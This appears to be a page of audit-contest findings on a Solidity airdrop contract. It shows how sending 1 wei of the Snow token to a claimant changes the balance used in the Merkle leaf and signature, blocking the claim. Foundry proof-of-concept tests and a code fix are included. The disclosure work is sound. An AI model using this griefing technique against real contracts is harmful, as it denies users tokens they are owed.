## Description
In `SnowmanAirdrop.sol`, `claimSnowman()` does not accept an explicit `amount` parameter, but instead dynamically
queries `i_snow.balanceOf(receiver)` to compute the EIP-712 digest and the Merkle tree leaf:
```solidity
// Root cause in src/SnowmanAirdrop.sol:
@> uint256 amount = i_snow.balanceOf(receiver);
@> bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
Because Snow is a transferable ERC20 token, any third party can transfer 1 wei of Snow to an eligible claimant.
This alters balanceOf(receiver), causing the dynamically computed leaf and signature hash to diverge from the
Merkle tree, causing claimSnowman() to revert with SA__InvalidProof(). An attacker can front-run claims to
permanently block users from claiming their airdrop.
Likelihood: High
Impact: High
An attacker transfers 1 token to Alice before her claim, altering her balance and causing MerkleProof.verify to
fail.
Add to test/TestSnowmanAirdrop.t.sol:
function test_griefing_unsolicited_transfer_breaks_claim() public {
assertEq(snow.balanceOf(alice), 1);
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
// Griefer transfers 1 token to Alice
address griefer = makeAddr("griefer");
deal(address(snow), griefer, 1);
vm.prank(griefer);
snow.transfer(alice, 1);
// Alice attempts to claim but reverts due to mismatched balance
vm.prank(alice);
snow.approve(address(airdrop), 2);
vm.expectRevert(SnowmanAirdrop.SA__InvalidProof.selector);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
}
Pass amount as an explicit parameter in claimSnowman() to verify against the Merkle tree, and ensure
balanceOf(receiver) >= amount.
--- a/src/SnowmanAirdrop.sol
+++ b/src/SnowmanAirdrop.sol
@@ -69,5 +69,5 @@ contract SnowmanAirdrop is EIP712, ReentrancyGuard {
- function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+ function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r,
bytes32 s)
external
nonReentrant
{
@@ -76,6 +76,9 @@ contract SnowmanAirdrop is EIP712, ReentrancyGuard {
- if (i_snow.balanceOf(receiver) == 0) {
+ if (amount == 0) {
revert SA__ZeroAmount();
}
+ if (i_snow.balanceOf(receiver) < amount) {
+ revert SA__ZeroAmount();
+ }
- uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.  ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.